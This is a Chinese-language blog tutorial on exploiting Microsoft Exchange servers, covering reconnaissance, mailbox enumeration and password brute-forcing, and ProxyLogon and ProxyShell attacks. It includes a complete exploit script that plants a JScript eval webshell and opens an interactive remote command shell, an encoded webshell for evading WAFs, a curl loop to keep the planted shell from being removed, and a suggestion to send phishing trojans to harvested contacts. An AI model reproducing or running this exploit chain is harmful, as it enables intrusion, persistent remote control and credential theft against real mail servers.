漏洞分析 | Exchange 漏洞利用

2025-01-06 8 0

1:快速发现是否存在exchange

setspn -q */*
setspn -T 域名 -F -Q */* | findstr exchange

漏洞分析 | Exchange 漏洞利用插图

漏洞分析 | Exchange 漏洞利用插图1

2:定位Exchange

一:通过Spn发现,ping WIN-BN4UGESV2UD

漏洞分析 | Exchange 漏洞利用插图2

二:fscan扫描得出,路径为/owa/auth/

漏洞分析 | Exchange 漏洞利用插图3

3:查看Exchange版本

右键查看源代码可看

漏洞分析 | Exchange 漏洞利用插图4

4:信息收集

工具获取:获取IP地址-版本号-域名-机器名

漏洞分析 | Exchange 漏洞利用插图5

Burp手工获取:获取机器名-LegacyDN

POST /ecp/target.js HTTP/2
Host: win-bn4ugesv2ud
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=localhost~1941962754
Content-Type: text/xml
Content-Length: 2


漏洞分析 | Exchange 漏洞利用插图6

1:修改目标的机器名

2:修改域名

POST /ecp/target.js HTTP/2
Host: win-bn4ugesv2ud
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=[name]@win-bn4ugesv2ud.hack.com:443/autodiscover/autodiscover.xml?#~1941962754
Content-Type: text/xml
Content-Length: 345

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>[email protected]</EMailAddress>
                <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>

漏洞分析 | Exchange 漏洞利用插图7

5:判断邮箱账户是否存在(发现存在的邮箱可以直接打漏洞了)

user.txt放要枚举的邮箱账户

go run CVE-2021-26855-PoC.go -h win-bn4ugesv2ud -U user.txt

漏洞分析 | Exchange 漏洞利用插图8

6:爆破邮箱密码

1:将爆破出来的邮箱账户组成字典

2:将收集到的密码对其进行Intruder爆破

如果密码正确

漏洞分析 | Exchange 漏洞利用插图9

7:后台信息收集

1:后台看到检索通讯录发送钓鱼木马

2:可以检索通讯录对其进行爆破(用处就是可以写报告用)

漏洞分析 | Exchange 漏洞利用插图10

8:漏洞利用*1

前提条件:需要爆破出邮箱填写到脚本当中

因为我这里账户是key,所以我把key用户加到了fuzz_email当中

# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
              'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'key', 'no-reply']

proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

final_shell = ""

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))




if __name__=="__main__":
    parser = argparse.ArgumentParser(
        description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
    parser.add_argument('-u', type=str,
                        help='target')
    parser.add_argument('-user',
                        help='exist email', default='')
    parser.add_argument('-suffix',
                        help='email suffix')
    args = parser.parse_args()
    target = args.u
    suffix = args.suffix
    if suffix == "":
        print("请输入suffix")

    exist_email = args.user
    if exist_email:
        fuzz_email.insert(0, exist_email)
    random_name = id_generator(4) + ".js"
    print("目标 Exchange Server: " + target)

    for i in fuzz_email:
        new_email = i+suffix
        autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % new_email
        # print("get FQDN")
        FQDN = "EXCHANGE01"
        ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False, proxies=proxies)

        if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
            FQDN = ct.headers["X-FEServer"]
            print("got FQDN:" + FQDN)

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
            "Content-Type": "text/xml",
            "User-Agent": user_agent},
            data=autoDiscoverBody,
            proxies=proxies,
            verify=False
        )

        if ct.status_code != 200:
            print(ct.status_code)
            print("Autodiscover Error!")

        if "<LegacyDN>" not in str(ct.content):
            print("Can not get LegacyDN!")
        try:
            legacyDn = str(ct.content).split("<LegacyDN>")[
                1].split(r"</LegacyDN>")[0]
            print("Got DN: " + legacyDn)

            mapi_body = legacyDn + \
                "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
                "Content-Type": "application/mapi-http",
                "X-Requesttype": "Connect",
                "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
                "X-Clientapplication": "Outlook/15.0.4815.1002",
                "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
                "User-Agent": user_agent
            },
                data=mapi_body,
                verify=False,
                proxies=proxies
            )
            if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
                print("Mapi Error!")
                exit()

            sid = str(ct.content).split("with SID ")[
                1].split(" and MasterAccountSid")[0]

            print("Got SID: " + sid)
            sid = sid.replace(sid.split("-")[-1], "500")

            proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
            """ % sid

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
                "Content-Type": "text/xml",
                "msExchLogonMailbox": "S-1-5-20",
                "User-Agent": user_agent
            },
                data=proxyLogon_request,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 241 or not "set-cookie" in ct.headers:
                print("Proxylogon Error!")
                exit()

            sess_id = ct.headers['set-cookie'].split(
                "ASP.NET_SessionId=")[1].split(";")[0]

            msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
                1].split(";")[0]
            print("Got session id: " + sess_id)
            print("Got canary: " + msExchEcpCanary)

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),

                "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
                            format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
                                    msExchEcpCanary=msExchEcpCanary),
                            "Content-Type": "application/json; charset=utf-8",
                            "msExchLogonMailbox": "S-1-5-20",
                            "User-Agent": user_agent

                            },
                            json={"filter": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
                            verify=False,
                            proxies=proxies
                            )

            if ct.status_code != 200:
                print("GetOAB Error!")
                exit()
            oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
            print("Got OAB id: " + oabId)

            oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                        "properties": {
                            "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                        "ExternalUrl": "http://ffff/#%s" % shell_content}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=oab_json,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 200:
                print("Set external url Error!")
                exit()

            reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                            "properties": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "FilePathName": shell_absolute_path}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=reset_oab_body,
                proxies=proxies,
                verify=False
            )

            if ct.status_code != 200:
                print("写入shell失败")
                exit()
            shell_url = "https://"+target+"/owa/auth/test11.aspx"
            print("成功写入shell:" + shell_url)
            print("下面验证shell是否ok")
            print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
            print("正在请求shell")
            import time
            time.sleep(1)
            data = requests.post(shell_url, data={
                                "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
            if data.status_code != 200:
                print("写入shell失败")
            else:
                print("shell:"+data.text.split("OAB (Default Web Site)")
                    [0].replace("Name                            : ", ""))
                print('[+]用户名: '+ new_email)
                final_shell = shell_url
                break
        except:
            print('[-]用户名: '+new_email)
            print("=============================")
    if not final_shell:
        sys.exit()
    print("下面启用交互式shell")
    while True:
        input_cmd = input("[#] command: ")
        data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
        ct = requests.post(
            final_shell,
            data=data,verify=False, proxies=proxies)
        if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
            print("[*] Failed to execute shell command")
        else:
            shell_response = ct.text.split(
                "Name                            :")[0]
            print(shell_response)


python exp.py -u 192.168.181.239 -user administrator -suffix @hack.com

漏洞分析 | Exchange 漏洞利用插图11

Webshell 密码:code 忽略https证书

漏洞分析 | Exchange 漏洞利用插图12

漏洞分析 | Exchange 漏洞利用插图13

漏洞分析 | Exchange 漏洞利用插图14

9:漏洞利用*2

1:脚本二可以多尝试几次使用,有时一次打不了就打两次

2:脚本二会对当前目录下users.txt进行利用,可以直接放大量的用户,也可以放从步骤五获取到的有效用户,这里起到了一个爆破邮箱账户再漏洞利用的效果。

exp脚本

邮箱账户

python exp2.py win-bn4ugesv2ud

漏洞分析 | Exchange 漏洞利用插图15

漏洞分析 | Exchange 漏洞利用插图16

10 :漏洞利用*3 (用得加密webshell)

proxyshell_rce.py

python proxyshell_rce.py -u https://192.168.181.239 -e [email protected]

运行程序后,依次输入:

Get-MailboxExportRequest
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
dropshell

漏洞分析 | Exchange 漏洞利用插图17

漏洞分析 | Exchange 漏洞利用插图18

坑点:
实战中遇到很多Exchange的环境虽然是system权限,但依然无法执行命令,会出现拒绝访问等情况。一般出现这样的情况是被限制执行命令或者杀软导致。
该POC默认自带的马容易被查杀,在实战中建议对马内容进行自定义,我这里是进行修改后执行并获得shell

11:绕过waf,写入一个生成木马的aspx

1.首先我们需要生成一个加密的webshell

webshell加密脚本:

https://github.com/Ridter/proxyshell_payload

在proxyshell_payload.py中修改

漏洞分析 | Exchange 漏洞利用插图19

修改末尾的图中的地方,将其替换为webshell

然后运行得到payload(encode部分):

漏洞分析 | Exchange 漏洞利用插图20

2.利用脚本进行攻击

利用exp:

https://github.com/dmaasland/proxyshell-poc

然后安装依赖,将上一步得到的payload,复制到proxyshell_rce.py的314行中:

漏洞分析 | Exchange 漏洞利用插图21

python proxyshell_rce.py -u https://192.168.181.239 -e [email protected]

下面内容就是用于生成一个123.aspx,只要我们上传访问一次就会生成在当前目录生成一个123.aspx的webshell,条件就是我们需要通过上述漏洞利用脚本上传上去,或者是通过漏洞把以下内容再通过webshell加密脚本再加密一次进行上次,然后再web访问一次即可。

漏洞分析 | Exchange 漏洞利用插图22

解释:

内容就是在aspx文件根目录生成一个文件内容是123.aspx
PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK
利用base64解密写入123.aspx

最后重新上传,访问上传成功的文件,提示success说明就写入成功了

如果被杀的情况下,写一个sh脚本挂在服务器上一直访问那个链接,因为我们访问着代表此文件正在被使用着,导致waf就没法删掉我们的马子

#!/bin/bash

while true
do
curl -ki https://xxxx.xxx//aspnet_client/ixxxot.aspx
done


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

记一次GPU服务器挖矿事件应急响应
XSS漏洞很难发现吗???
centos7虚拟机搭建vulhub靶场
记一次实战登陆口Js逆向分析
记一次CNVD证书的挖掘方式
Windows基线加固:Windows基线检查及安全加固手工实操

发布评论